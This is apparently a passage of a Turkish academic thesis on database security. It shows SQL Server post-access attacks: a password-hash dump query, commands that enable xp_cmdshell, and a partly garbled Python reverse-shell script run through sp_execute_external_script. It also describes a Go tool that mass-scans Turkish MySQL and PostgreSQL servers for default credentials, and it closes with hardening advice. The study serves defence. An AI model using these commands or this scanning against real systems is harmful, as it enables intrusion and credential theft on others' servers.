SQL Server uygulamasina basarili bir sekilde baglanti agildiktan sonra,
hedef sistemde yapilabilecek kotii niyetli eylemlerden bazilar

sunlardir:

441 Veritabani Kullanic1 Verilerinin Calinmasi

Temiz bir SQL Server kurulumu yapildiktan sonra, veritabani icerisinde
varsayilan olarak “master”, “tempdb”, “model”, “msdb” adli
veritabanlar1 bulunmaktadir. master adli veritabaninda bulunan
“sys.sql_logins” adli tablo ise, veritabani kullanicilariin kimlik
bilgilerini “kullanict adi-parola 6zeti” olarak saklamaktadir [43]. Bu
tabloya erisilerek kullanici adlar1 ve parola Ozetleri calmabilir ve

gokkusagi tablolar1 kullanilarak parola 6zeti tersine gevrilebilir.

SQL Server 2005 surimii ve sonrasi icin, kimlik bilgilerini
goriintiilemek i¢in galistirilmasi gereken sorgu su sekildedir: “SELECT

name, password_hash FROM master.sys.sql_logins” [44]

Sorgu basarili bir sekilde yiiriitiildiikten sonra elde edilen tablo
asagidaki ekran goriintiisiindeki gibidir.
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SQLQuerylsal - ASE..ssmaster 2 76+ = [

SELECT name, password hash FROM masterﬂ.sys.sql_logins;l

100% ~
HH Results il Messages
name password_hash
1 sa Ox0200E4B154B326E64E51F4D32650DA80230C5EB2055B051B...

2 HEMS_PolicyTsqglExecutionLoging 0x0200FFGFAYF4B0EEE4EBED4BCEDG 7/ 1EEFOD84EDSEEAS3S..
3 HHMS_PolicyEventProcessinglogin  0x0200BBO0GE6BZDEF770874D2403AF6856D0ASFFCBCOC3ABE. .

Resim 4.1 Varsayilan kullanict hesaplar1 ve parola 6zetleri

442 xp_cmdshell Sakhh Yordamm Kullanilarak

Isletim Sistemi Komutlar1 Cahstirma

SQL Server igerisinde bulunan bir sakli yordam olan xp cmdshell,
veritaban1  yoneticilerinin  sistemi  kontrol etmesi amaciyla
tasarlanmigtir. Veritaban1 igerisinde dogrudan sistem komutlari
calistirabilme giiciiniin kotii veya yanlis amaglarla kullanilmamasi igin
SQL Server 2005 siiriimiinden itibaren devre dis1 birakilmis ve sadece
o an calistirnlmak istenen islemin xp cmdshell’e ihtiya¢ duymasi

halinde aktif edilmesi tavsiye edilmistir.

Tim bu uyarilara ragmen, xp_cmdshell yordami ufak bir sorgu ile aktif
hale gelebilmektedir ve aktivasyon i¢in sistemin yeniden baslatilmasia
ithtiyag duyulmamaktadir. Bu sakli yordamin aktif hale gelmesi igin
gerekli asagidaki sekilde gosterilmistir [45, 46].

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Sekil 4.1 SQL Server igerisinde xp _cmdshell yordaminin aktif hale
gelmesi i¢in calistirilmasi gereken kodlar

Arastirma kapsaminda, deneme amagh olarak bu yordam ile birlikte
“ping” komutu calistirilmigtir ve bu komutun basarili bir sekilde
calistigi gozlemlenmistir. Bunun ardindani powershell komutlari
yardimiyla sistem iizerinde ters kabuk baglantisi agma denemeleri

yapilmig fakat basarili bir sonug elde edilememistir.
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443 sp_execute_external_script Sakh Yordamm
Kullanilarak Betik Calistirma

Makine Ogrenmesi servisleri ile birlikte kullamlan bir sakli yordam
olan sp execute external script, girdi olarak aldigi R ve Python
dilindeki betikleri sistem {izerinde g¢alistirabilmektedir [47]. Sisteme
basarili bir sekilde baglandiktan sonra, bu yordamin yardimiyla betik
calistirabilmek i¢in kullanilmasi gereken komut asagidaki sekilde

gosterilmistir.

EXECUTE sp_execute_external_script

@language = N'SECILECEK PROGRAMLAMA DILI',
@script = N'BETIK GOVDESI'

Sekil 4.2 sp_execute_external script yordami ile betik ¢aligtirma
formati

Dil olarak Python ve R desteklendigi i¢in, language parametresine bu
iki dilden biri verilmeli, ardindan script parametresine de yuruttlmek

istenen kod parcacig1 yazilmalidir.

Python dilinde soket programlama yapabilmek i¢in hazir olarak gelen
soket kiitiiphaneleri ve islevleri bulunmaktadir. Kotii niyetli bir kisi,
veritabani sistemine eristikten sonra, sistemi tamamen ele gecirmek
adma bu soket kiitiiphanelerini kullanarak kendi bilgisayarina ters
kabuk  acabilecegi  bir  betik  yazabilir ve bu  betidi
sp_execute external script yordami sayesinde kolaylikla calistirabilir

[44,46].

Bu durumun bir 6rnegi asagida goriilmektedir. Hedefteki sistemden
kendi cihazimiza ters kabuk baglantisi  agabilmek igin

sp_execute external script su sekilde calistirilabilir:
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EXECUTE s N'Python', @script = N'

e(s.recv(1024).decode()); p.stdin.flush()

dout.read(1).encode())

t(socket.AF_INET, socket.SOCK_STREAM)

"localhost",8080)); break

ershell.exe"],stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE,

threading.Thread (

threading.Thread(

Sekil 4.3 sp_execute_external_script yordamu ile birlikte kullanilacak
zararl1 betik

Yazilan betik sistem iizerinde ¢alistiginda belirtilen IP adresinin 8080
portuna baglanti acacaktir. Bu senaryoda hedefteki IP adresi yerel
bilgisayar olarak belirtilmis ve agilan baglantiy1 karsilamak adina 8080
portu dinlenmistir. Betigin basarili bir sekilde ¢alismasinin ardindan
ters kabuk baglantis1 sorunsuz bir sekilde elde edilmistir.

python -u

Socket created
Socket bind complete

Socket now listening
Connected with 127.0.€.1:51760

Resim 4.2 sp_execute_external_script kullanilarak elde edilen baglanti

45  Linux Uzerinde SQL Server incelemesi

SQL Server 2017 siirtimii ile birlikte Linux tabanli isletim sistemlerinde
de calisabilen SQL Server, Red Hat Enterprise Linux, SUSE Linux
Enterprise Server ve Ubuntu isletim sistemleri Uzerinde hizmet
vermektedir. Bunlara ek olarak Docker vasitasiyla da kurulumu

gerceklesebildigi icin, MacOS gibi Docker’1 destekleyen diger isletim
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sistemleri tlizerinde de kullanilabilir. Windows iizerinde verilen
hizmetlerin biliylik cogunlugu Linux tabanli isletim sistemleri icin
saglaniyor olsa da, heniiz desteklenmeyen 6zellikler de bulunmaktadir

[48].

Bu boliimde, boliim 4.4’te anlatilan Windows isletim sistemi iizerinde
calisan SQL Server’a yonelik gergeklestirilmis olan saldirillarin Linux

sistemlerdeki uygulanabilirligi incelenecektir.

Bu aragtirma kapsaminda Docker ile SQL Server 2017 ve 2019
surimlerinin  kurulumlar1 gergeklestirilmis, komut satir1 arayiizii
araglar1 yardimiyla veritabanina baglanilmis ve Windows i¢in yapilan

saldir1 yontemleri burada da denenmistir.

Microsoft’'un desteklemedigi ozellikler ile ilgili hazirlamig oldugu
dokiimanda belirtildigi gibi, sistem uzantili sakli yordamlar Linux
platformlar1 {izerinde desteklenmemektedir [49]. Bundan dolay1
xp_cmdshell sakli yordami kullanilarak yapilacak islemler Linux

tizerinde ¢alismamaktadir.

Ote yandan, sp execute external scripts yordammin dokiiman
sayfasinda, bu yordamin Linux tabanli sistemlere nasil kurulacagi ve bu
sistemler lizerinde nasil ¢alistirilacagina dair anlatim bulunmaktadir.
Bundan dolayi, bu yordam kullanilarak SQL Server’in c¢alisabildigi
diger isletim sistemlerinde de oOnceki bolimde bahsedilen saldir

gerceklestirilebilir.
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5. ZEPHYR

5.1  Zephyr Hakkinda

Zephyr, Go programlama dili ile yazilmis tamamen otomatik bir tarama
ve analiz aracidir. Bu arag, tarafimizca gelistirilmigtir ve
“github.com/aselimkaya/Zephyr” adresinde acik kaynak kodlu olarak

yayimlanmustir.

Zephyr'in ¢ok basit bir calisma mekanizmasi vardir. 11k adim olarak,
verilen IP adresini tarar ve hedefteki sistemin varsayilan kimlik
bilgilerinin kullanilip kullanilmadigim1 kontrol eder. Zephyr bu
taramay1 yalnizca tek bir sistem {lizerinde degil, binlerce sistem tizerinde
aynt anda yapmaktadir. Bu islem olduk¢a maliyetli oldugu igin,
Zephyr’in gelistirilmesi i¢in Go dili gibi gii¢lii ve verimli bir dil tercih

edilmistir.

5.2  Neden Go Programlama Dili?

Go programlama dili, gelistiricileri tarafindan etkileyici, 6zli, temiz ve
verimli  olarak tanimlanmaktadir. Eszamanlilik mekanizmasi
bilgisayarlardan en iyi sekilde yararlanan ve verimli programlari
yazmay1 kolaylastirirken, modern stile sahip yapisi ¢ok yonlii ve
modiiler program gelistirmeye izin verir. Go programi makine koduna
cok hizl1 bir sekilde derleme giiciiniin yani sira ¢op toplayiciya ve giiclii
bir caligma zamanina sahiptir. Statik olarak yazilan, derlenen ve
olduk¢a hizli bir dil olmasina karsin dinamik olarak yazilan ve

yorumlanan bir dil hissi uyandirir [50]. Go, “goroutine” adi verilen
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giiclii bir eszamanlilik mekanizmasina sahiptir. Bir gorutine, Go
calisma zamani [51] araciligtyla yonetilen ayni adres alaninda ¢alisan
oldukca hafif bir is parcacigidir. Go, harici kilitler veya kosul
degiskenleri  olmaksizin  degerlerin  gonderilip  alinabilecegi,
gorutine’leri senkronize etmek i¢in kullanilan “kanal” adli bir 6zellige

sahiptir [52].

Bahsedilen tim bu giclu ve etkili 6zellikler nedeniyle Zephyr Go dili

ile gelistirilmistir.

5.3 Siber Tehdit istihbarat Platformlar1 Vasitasiyla IP
Adreslerinin Elde Edilmesi

Siber tehdit istihbarat platformlari, internete agik olan biitiin cihazlari
gercek zamanli olarak tarayan ve bu cihazlardan elde edilen bilgileri
web uygulamasi veya API vasitasiyla sunan sistemlerdir. Elde edilen
bilgiler arasinda cihazin IPv4 adresi, eger varsa IPv6 adresi, cihaz
iizerinde acik olan portlar, hizmet veren uygulamalar ve bu
uygulamalarin versiyon bilgisi, cihazin konum bilgisi vb bilgiler yer
almaktadir. Bu c¢aligma kapsaminda, popiiler olmalar1 ve kolay
kullanilmalar1 sebebiyle Shodan ve Spyse adli platformlar secilmis,
analizi yapilacak veritabani sistemleri ile ilgili veriler platformlarin ara
yiizli kullanilarak sorgulanmis ve indirilmis, elde edilen bu dosyalar

anlaml bir sekilde ayristirilarak tarama islemleri gergeklestirilmistir.

54  Zephyr ile Veritabami YOnetim Sistemlerinin Turkiye

Analizi
54.1 MySQL Turkiye Analizi

5.4.1.1 Kullanilan Veri Setleri

Shodan ve Spyse vasitasiyla Tiirkiye’de MySQL kullanan sunucu
bilgileri sorgulanmig ve iki farkli IP adresi seti elde edilmistir. Bu
sorgular sistemin kendi arayiizii vasitastyla yapilmis, IP adresleri ve
platformlarin bu adreslere iligkin sunmus oldugu diger bilgiler

“JavaScript Obje Gosterimi” formatina sahip olan “json” uzantil
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olarak elde edilmistir. Ilgili dosyadaki bilgiler uygun sekilde

ayristirtlmis ve tarama agamasi igin gerekli veriler elde edilmistir.

a) Spyse veri seti: Spsye platformunu kullanarak yapilan arama
sonucunda 53623 IP adresi ve bu adreslere yonelik
organizasyon, sehir, internet servis saglayicisi ve ana bilgisayar
ad1 bilgisi elde edilmistir.

b) Shodan veri seti: Shodan iizerinden yapilan arama sonucu
48455 adet IP adresi ve bu adreslere iligkin saglanan diger
bilgiler ¢ekilmistir. Elde edilen veri dosyasinda IP adreslerine
yonelik olarak, Spsye platformunda bulunan bilgilere ek olarak

isletim sistemi ve uygulama versiyonu bilgisi de bulunmaktadir.

Elde edilen tiim IP adresleri ortak bir havuzda biriktirilmis ve tekrar
eden adresler temizlenmistir. Bu islem sonucunda 65887 adet tekil IP

adresi bilgisi elde edilmistir.

5.4.1.2 Tarama Asamasi

Go dilinin eszamanlilik mekanizmalar1 uygulanmadan saatte yaklasik
olarak yliz makine taranabilirken, eszamanlihigin etkili giicii sayesinde
65 binden daha fazla makine bir saate yakin bir zamanda verimli bir
sekilde taranabilmistir. Hedefteki sunuculara baglanti istegi
gonderilirken veritabanindaki en yetkili kullanici olan “root”
kullanicisina baglanmak hedeflenmistir. Bu kullanicinin varsayilan
parola degeri bulunmamaktadir, bundan dolayr kimlik dogrulama
asamasinda parola bilgisi bos birakilmis ve baglanti talebi bu sekilde

gerceklestirilmistir.

5.4.1.3 Elde Edilen Sonuglar

Varsayilan kimlik bilgileri ile yapilan baglant1 istekleri sonucu yedi
farkli sisteme basarili bir sekilde baglanti kurulmustur. Bu yedi
sistemdeki en biiylik problem, ilk olarak uzaktan yapilan baglanti
taleplerine izin vermek, ikinci olarak auth_socket eklentisi yerine

mysql_native_password eklentisini tercih etmek ve son olarak da en
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yetkili kullanic1 olan root kullanicisinin parola bilgisini varsayilan

degerde birakmak olmustur.

Inandigimiz etik degerler dogrultusunda, tarama asamadan daha ileriye
gidilmemis ve herhangi bir saldir1 gerceklestirilmemistir. Elde edilen
baglant1 hizli bir sekilde sonlandirilmig ve veri setinde bulunan diger

makinelerin taramasina devam edilmistir.

Elde edilen sonuglara gore iiretilen istatistiklerin bir kismi asagida
gosterilmistir. Isletim sistemi bilgisi bulunan 47891 sistemin sahip

oldugu isletim sistemi asagida gosterilmistir.

Isletim Sistemi Aktif Sistem Sayisi
Linux 3.x 47043
Windows Server 2008 848

Tablo 5.1 Tirkiye’de MySQL’in kullanildig isletim sistemleri

En cok kullanilan versiyonlar ise asagidaki tablodaki gibidir.

Versiyon Numarasi Aktif Sistem Sayisi
5.7.30 3197
5.1.73 3184
5.6.47 2659
5.6.48 2019
5.5.65-MariaDB 1321

Tablo 5.2 Tiirkiye'de en ¢ok kullanilan MySQL versiyonlari

542 PostgreSQL Turkiye Analizi

5.4.2.1 Kullanilan Veri Setleri

Arastirmada kullanilan veri setleri Shodan ve Spyse adli siber tehdit

istihbarat platformlarindan elde edilmistir.
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a) Shodan veri seti: Shodan arama motoru lizerinde Tiirkiye’de
PostgreSQL kullanan sunucularin aramast yapilmis ve 2013
adet sunucunun IP adresi bilgisi elde edilmistir. Bunun yaninda
veri seti sehir, organizasyon adi, versiyon numarasi vb gibi
bilgileri de icermektedir fakat MySQL veri setinde bulunan
isletim sistemi bilgisi bu veri setinde bulunmamaktadir. Bundan
dolay1 bu parametreye yonelik analiz yapilamamaktadir.

b) Spyse veri seti: Spyse platformu {izerinde yapilan arastirma
sonucu, bu arama motoru vasitasiyla Tiirkiye’de PostgreSQL
kullanan 8302 adet sunucunun IP adresi, organizasyon adi,
internet servis saglayicis1 adi gibi bilgiler elde edilmistir.
Shodan’a benzer sekilde, bu platformda da isletim sistemi
bilgisi, mimari tirl ve ek olarak versiyon numarasi bilgisi elde

edilememistir.

Arastirma kapsaminda, bu iki veri seti birlestirilmis, tekrar eden IP
adresleri temizlenmis ve sonu¢ olarak 8800 adet essiz IP adresi elde

edilmistir.

5.4.2.2 Tarama Asamasi

Elde edilen 8800 tekil IP adresi es zamanli olarak taranmistir. Tarama
parametreleri olarak, kullanic1 ad1 ve parola bilgisi olarak varsayilan
deger olan “postgres-postgres” c¢ifti kullanilmis, baglanilacak
veritaban1 alani ise bos birakilmistir. Baglanti kurma asamasinda
zamanasimi degeri 120 saniye olarak belirlenmis, bir baglantinin
kurulmas1 bu siireyi asarsa istek otomatik olarak sonlandirilmistir.
Baglant1 i¢in SSL destegi devre dis1 birakilmis ve olusabilecek ekstra
bir yiik engellenmistir. Elde edilen IP adresleri, bu arastirma
kapsaminda Go dili ile gelistirdigimiz Zephyr ile farkli giin ve farkli
saatlerde hizli bir sekilde taranmustir. Farkli giin ve saatlerde deneme
yapilmasi ise hizmet veren sunucularin farkli zaman dilimlerinde

kullanima agilma 6ngoriisiine dayanmaktadir.
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5.4.2.3 Elde Edilen Sonuclar

Yukarida bahsi gecen tiim IP adresleri yaklasik iki dakikalik bir siire
zarfinda basarili bir sekilde taranmis ve on li¢ adet sisteme basaril1 bir
sekilde baglant1 kurulmustur. Bu sistemlere en yetkili kullanici hesabini
kullanarak baglant1 kurulabilmesinin ardinda yatan temel problem
yapilandirma dosyalarindaki kurallarin zafiyet teskil edecek sekilde
yapilandirilmis  olmasidir. Yalmizca yerel ag {izerinden gelen
baglantilara izin verilmekle kalinmamis, ayrica gilivenilmeyen dig

agdan istek gonderilmesine de imkan sunulmustur.

Bu sorgularin haricinde sistemler ilizerinde herhangi bir zararli aktivite
yapilmamig ve baglanti ivedilikle sonlandirilmistir. Biitiin zararh
faaliyetler ¢aligmalar1 yurittigiimiiz kisisel bilgisayarlar icerisinde
tabanlar1  tlizerinde

bulunan test amach  kurulmus veri

gerceklestirilmistir.

Elde edilen verilerin analizi sonrasi olusturulan “versiyon - kullanim
miktar1” tablosu asagidaki gibidir. Shodan, PostgreSQL kullanan
sistemlerin versiyonunu kesin olarak tespit edememis ve tahmini bir

aralik sunmustur.

Versiyon Numarasi Aktif Sistem Sayisi

10.0 - 10.1 veya 10.8 - 10.12 230

12.0-12.2 165
9.5.0-953 157
11.3-11.7 155
11.6-11.7 153

Tablo 5.3 Aktif olarak PostgreSQL kullanan sistemlerin tahmini
versiyonlari

Bu ¢alismanin yapildig1 zaman diliminde PostgreSQL 13 versiyonu
duyrulmustur. Tablodaki veriler 1s181nda, ¢alisan PostgreSQL
sistemlerinin eski versiyonlar1 kullantyor oldugu goriilmiistiir. Bu
calisma kapsaminda versiyonlar ve bu versiyonlara yonelik istismarlar

44



incelenmemistir fakat eski versiyonlarin daha ¢ok zafiyet
barmdirdigini ve saldirtya daha agik oldugu sonucu ¢ikarilabilir.

5.4.3 Microsoft SQL Server Turkiye Analizi

5.4.3.1 Kullanilan Veri Setleri

SQL Server analizi yapilirken, diger veritabani yonetim sistemlerine

benzer sekilde Shodan ve Spyse’den faydalanilmastir.

a) Shodan veri seti: Shodan {iizerinden yapilan sorgu sonucu
Turkiyede SQL Server kullanan 14097 adet sistemin IP adresi,
ana makine adi, sehir, igletim sistemi ve organizasyon bilgisi
elde edilmistir.

b) Spyse veri seti: Bu platform vasitasiyla yapilan sorgu sonucu,
Shodan’in bulmus oldugundan daha fazla IP adresi bulunmustur
fakat bu adreslere yonelik ek bilgiler Shodan’in sagladig: veri
setine gore daha az detay barindirmaktadir. Spyse
platformundan elde edilen 20699 IP adresi ek olarak yalnizca

organizasyon ve internet servis saglayicisi bilgisi sunmustur.

Elde edilen IP adresleri tekrar eden degerlerden arindirilmis ve 24077
tekil IP adresi elde edilmistir.

5.4.3.2 Tarama Asamasi

SQL Server’in benimsemis oldugu giivenlik yaklagimlarinin anlatildigi
boliimde de bahsi gectigi gibi, temiz bir kurulum yapilmasi sirasinda,
kimlik dogrulama yontemi olarak SQL Server Kimlik dogrulama
yontemi segilirse, kurulum yonergeleri kullaniciy1 bir parola
belirlemeye zorlayacaktir ve segilecek olan bu parola SQL Server’in
giivenlik yaklasimlar1 kisminda incelenen parola politikasina uygun bir

parola olmalidir.

Bu giivenlik 6nlemlerinden dolayr SQL Server’in varsayilan parola
degeri bulunmamaktadir. Bundan dolayr bu veritabanini kullanan

sistemlere yonelik tarama gergeklestirilememistir.
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5.4.3.3 Elde Edilen Sonuglar

Bir onceki kisimda belirtildigi gibi, SQL Server i¢in 6n tanimli olarak
gelen parola degeri bulunmadigi i¢in, elde edilen IP adreslerine yonelik
tarama iglemi gerceklestirilememis, calisma kapsaminda gegen diger iki
veritabani sistemine yonelik yapilmis olan “basarili bir sekilde baglanti

elde edilen sistemler” analizi SQL Server i¢in yapilamamugtir.

Shodan uzerinden elde edilen verilere gore, Tiirkiye sinirlart igerisinde

SQL Server kullanan sistemlerin isletim bilgisi asagidaki gibidir.

Versiyon Numarasi Aktif Sistem Sayis1

6.3.9600 (Windows 8.1 | 2619

Guncelleme 1

Windows Server 2012 R2)

6.1.7601 (Windows 7 SP1 1308

Windows Server 2008 R2 SP1)

10.0.14393 (Windows 10 | 1060
Redstone 1 (Anniversary Update,
Versiyon 1607)

Windows Server 2016)

10.0.18362 (Windows 10 19H1 | 518
Mayis 2019 (Versiyon 1903))

10.0.17763 (Windows 10 | 461
Redstone 5 (Ekim 2018
Guncellemesi, Versiyon 1809))

Tablo 5.4 Tirkiye'de SQL Server ¢alistiran isletim sistemleri
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6. SONUC

Bu caligmada, diinyadaki veritabani kullanicilari tarafindan siklikla
tercih edilen veritaban1 yonetim sistemleri olan MySQL, PostgreSQL
ve Microsoft SQL incelenmistir. Inceleme islemi veritaban1 sistemine
baglant1 elde etmis ve sistemi tamamen ele gecirmek isteyen bir
saldirganin goziinden gerceklestirilmistir. Bu dogrultuda, ilk olarak her
sistemin gilivenlik yaklasimlar1 resmi sitede yayinlanan kullanici
dokiimanlar1 yardimiyla ayri ayr1 incelenmis, dokiimanlarda yer alan
giivenlik Onlemlerinin yetersiz kaldigi veya yanlig bir bigimde
yapilandirildig1 takdirde islevini gerceklestiremedigi durumlar analiz
edilmistir. Saldir1 noktalarnin tespit edilmesinin ardindan, uygulamal
bir sekilde sizma testi yapan kisilerin sik kullanmis oldugu adimlar
takip edilerek veritabani igerisinde zararli faaliyetler yurutilmeye
calisilmis ve hedefteki sistemden ters kabuk baglantisi elde etmek
amaglanmistir. Bu kotiiclil islemler yalnizca arastirma kapsaminda
kullanilan test amacl sistemlerde kullanilmis, ger¢ek zamanl ¢alisan
bir sistem (zerinde kayba yol acabilecek herhangi bir aktivite
gergeklestirilmemistir. Son olarak, siber tehdit istihbarati hizmeti veren
servisler tzerinden ilgili veritabani sistemlerini Tiirkiye’de kullanan

sistemlere iligkin bilgiler elde edilmis ve analizler gerceklestirilmistir.

Calisma kapsaminda yapilan incelemeler ve elde edilen sonuglara

iligkin yorumlar ise boliimiin devaminda yer almaktadir.
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6.1 MySQL’e Yonelik Degerlendirmeler

MySQL, iicretsiz olmasi ve kolay bir sekilde kullanilabilmesi sebebiyle
incelenen (¢ veritabani sistemi arasinda en ¢ok kullanilani olmustur.
Shodan ve Spyse’den elde edilen IP adresi miktar1 da bunu destekler

niteliktedir.

MySQL her ne kadar varsayillan bir kullanict adi-parola cifti
barindirtyor ve bu durum onu kaba kuvvet saldirilarina agik hale
getiriyor olsa da, en yetkili olan kullanicida varsayilan olarak bulunan
auth socket eklentisi bir nevi iki agsamali dogrulama mekanizmasi gibi
calismakta ve sistemdeki bu a¢ig1 kapatmaktadir. Ikinci olarak,
secure file priv eklentisinin varligi ile keyfi dosya yiikleme islemleri
zorlagtirilmig ve bir saldirganin sisteme erismesi halinde yapabilecegi
kotiiciil aktivileteler sinirlandirilmistir. Saldirt amagh kullanilabilen
SYSTEM yerlesik c¢agrisinin sadece komut satir1 ara yiiziinden
destekleniyor olusu da, bu manipiilasyon yonteminin uzaktan yapilacak

saldirilar i¢in kullanilmasini imkansiz kilmaktadir.

Elde edilen versiyon bilgileri incelendiginde, en ¢ok kullanilan
versiyonun bu ¢aligmanin yapildig: tarihteki en giincel versiyon olusu
oldukga sevindirici bir haberdir. Versiyon tablosunun geneline
bakildiginda da, genellikle kullanicilar tarafindan giincel siiriimlerin

tercih edildigi goriilmektedir.

6.2  PostgreSQL’e Yonelik Degerlendirmeler

Calisma kapsaminda yapilan analizler neticesinde, PostgreSQL’in
giivenlik uygulamalarinin agirlikli olarak kimlik dogrulama ve erigim
kontrolii sirasinda yapildig1 goriilmiistiir. Sisteme basarili bir sekilde
erisim saglandiktan sonra veritabanit kullanicisinin sahip oldugu
yetkiler dl¢ilisiinde dosya okuma ve dosya yazma islemleri bagarili bir
sekilde gerceklestirilebilmis ve bu esnada herhangi bir giivenlik 6nlemi
ile karsilasilmamistir. Veritaban1 sistemindeki en yuksek yetkiye sahip
kullanicinin varsayilan parola degerine sahip olusu, bu kullaniciya

yonelik kaba kuvvet saldirist ihtimalini dogurmaktadir. Diger iki
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veritaban1 sistemine gore daha fazla basarili baglanti elde edilme
durumu ise, varsayilan kimlik bilgilerinin sistemler {izerinde daha sik

kullanildigini1 gozler 6niine sermektedir.

Tiirkiye genelindeki kullanimlarin siirim numaralar1 goéz Oniine
alindiginda, genel olarak yeni olmayan siirtimlerin tercih edildigi
goriilmiistiir. Eski versiyonlarin barindirabilecegi potansiyel giivenlik
aciklarindan otiirii, Tiirkiye’deki sunucularin saldirtya maruz kalma
potansiyeli diger iki veritaban1i yOnetim sistemine gore daha fazla

g6zukmektedir.

Tiim bu c¢ikarimlar dogrultusunda PostgreSQL diger iki veritabani

yOnetim sistemine gore daha giivensiz bulunmustur.

6.3  Microsoft SQL Server’e Yonelik Degerlendirmeler

SQL Server iirliniiniin, baglanti kurulma anindan sistem igerisinde
sorgu calistirilmasina kadar her asamada detayli 6nlemler barindiran
politikalara sahip oldugu goriilmiistiir. Farkli kimlik dogrulama
mekanizmalar1 bulunduran ve etkili parola politikalarina sahip olan
SQL Server’a yonelik kaba kuvvet saldirisi gerceklestirilememis
olmasmin yaninda, basarili bir oturum elde edildigi takdirde bile
yapilacak kotii amach faaliyetler sinirli bulunmustur. Bu durum diger
iki veritaban1 yonetim sisteminin (cretsiz olmasma karsin SQL
Server’imn kurumlara yonelik olarak ticretli bir sekilde hizmet

vermesinin dogal bir sonucu olarak degerlendirilebilir.

Microsoft SQL Server kullanan sistemlerin veritabani uygulamasi
bilgisi elde edilememistir fakat igletim sistemi bilgisi Shodan tarafindan

saglanmustir.

Yapilan incelemeler ve analizler dogrultusunda, {i¢ veritaban1 sistemi
arasinda giivenlige daha ciddi bir sekilde dnem veren ve gilivenlik
tedbirlerini daha siki bir sekilde uygulayan sistemin Microsoft un tiriinii

olan SQL Server olduguna karar verilmistir.
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6.4. Veritabam Giivenligine Yonelik Oneriler

6.4.1. Veritabam Sistemi Ozelinde Oneriler

Bu béliimde, bu c¢alisma kapsaminda anlatilan saldirilarin 15181nda, bu
saldirilart  engelleyebilmek adina yapilmast gereken adimlar

listelenmistir.

6.4.1.1. MySQL Onerileri

- root kullanicisina mutlaka parola atamasi yapilmalidir.

- "RENAME USER root TO new name;" komutu yardimiyla root
kullanicisinin adi1 degistirilerek, olas1 kaba kuvvet saldirilarina karsi
onlem alinmalidir. [53]

- "mysql.user.table" tablosuna yoneticilerden baska kullanicilarin
erisimi bulunmamalidir. [53]

- Veritabaninda bulunan kritik kullanicilar i¢in mutlaka "auth _socket"
eklentisi kullanilmali, sistemde o kullanici ile oturum agmamis
kimselerin aym1 kullanic1 ile veritabanina baglanmasina izin
verilmemelidir.

- Veritabanina rol atamasi yapilirken kolaya kacilmamali, her kullanici
icin kullanicinin gereksinimlerini agmayan ve sadece o kullaniciya 6zel
olan kullanic1 hesaplari tanimlanmalidir. Ozellikle, biitiin kullanicilarin
en yiiksek yetkiye sahip "root" kullanicisina erisim hakki olmasi gibi
bir durum asla olmamalidir.

- "secure_file priv" degiskeni gilivenli bir sekilde yapilandirilmalidir.
Eger ice-diga aktarim olaylar1 sikca tercih edilen bir sey degilse,
secure_file priv "NULL" olarak ayarlanabilir. Bu sekilde biitiin i¢e ve
diga aktarim olaylar1 engellenecek ve keyfi dosya yiikleme saldirilari
zorlasacaktir.

- Kurulum gergeklestirildikten sonra, varsayilan olarak gelen test
kullanicis1 ve veritabani silinmelidir.

- Veritabanina erisim saglanirken, komut gegmisine bakilarak parolanin
elde edilmesini Onlemek adma, parola komut satir1 arayiiziine
yazilmamali. Yani veritabanina erisim "mysql -u root -

password=somepassword mysql" komutu ile degil, "mysql -u root -p
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mysql" komutu ile yapilmali. Bu sekilde erisim i¢in verilecek parola
komut satirinda degil, veritabani igerisinde girilecektir. [54]

- "skip-networking" segenegini "/etc/my.cnf" yapilandirma dosyasina
ekleyerek uzaktan yapilacak TCP/IP baglantilar1 engellenmelidir. [55]
- "my.cnf, my.ini ve master.info" log dosyalar1 hassas veriler
barmdirdig1 i¢in, yonetici kullanicilar hari¢ baska kullanicilarin bu

dosyalar1 okumasina izin verilmemelidir. [53]

6.4.1.2. PostgreSQL Onerileri

- Veritabanindaki kullanici rolleri mesru gereksinimleri asmayacak
sekilde her kullanici igin ayri ayri tasarlanmali, her kullanicinin en
yetkili kullanict olan "postgres" kullanicisina erisimi olmasina izin
verilmemelidir.

- Kimlik dogrulama yontemi olarak peer/ident se¢imi ile, veritabanina
baglanmak isteyen kullanicinin oncelikle o sistemde oturum agmis
olmasina dikkat edilmelidir.

- pg_hba.conf dosyast titizlikle yapilandirilmali, kural yazimi sirasinda
kolaya kagilmamali ve herhangi bir olas1 giivenlik ag¢igina imkan
taninmamalidir.

- Kimlik dogrulama yontemi olarak asla "trust" yontemi
kullanilmamalidir. [56]

- Kimlik dogrulamasi yapilirken, sifre ¢6zme gerektirecek parola
tabanli kimlik dogrulamalar yerine, geriye dondiiriilemeyen 6zet tabanl

yontemler tercih edilmelidir. [56]

6.4.1.3. Microsoft SQL Server Onerileri

- Kimlik dogrulama yontemi olarak, Microsoft'un da dnermis oldugu
gibi Microsoft Kimlik Dogrulama Modu segilmelidir. Boylelikle sistem
tizerinde mesru bir oturuma sahip olmayan kullanicilarin veritabanina
baglanmasina izin vermilmeyecektir.

- SQL Server Kimlik Dogrulama Modu tercih edildigi takdirde, parola
olarak Microsoft'un 6nermis oldugu parola politikasina uygun, tahmin
edilmesi zor kompleks bir parola belirlenmelidir. Bu durum Linux

sistemlerde de gecerlidir.
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6.4.2. Veritabam Sisteminden Bagimsiz Oneriler

- Kullanilacak veritaban1 yonetim sisteminin en giincel slirlimii tercih
edilmeli, kullanim sirasinda da diizenli bir sekilde giincellestirilme
yapilmalidir.

- Her kullanici i¢in ayr1 kullanici hesabi olusturulmali, bu hesaplardaki
yetkiler kullanicinin  mesru  gereksinimlerini  asacak  sekilde
olmamalidir. Biitiin yetkilere sahip olan bir kullanic1 hesabinin tim
kullanicilar tarafindan bilindigi ve kullanildig1 senaryolardan
kagmilmalidir.

- Veritabani sistemi disaridan gelebilecek baglantilara agik olmamali,
yalnizca organizasyon igerisinden baglanti kabul etmelidir. Uzaktan
yapilabilecek mesru erisimler i¢cin VPN kurulmalu ve erisimler bu
sekilde saglanmalidir.

- Verilerin yedeklemesi ve depolanmasi giivenli bir sekilde

yapilmalidir.
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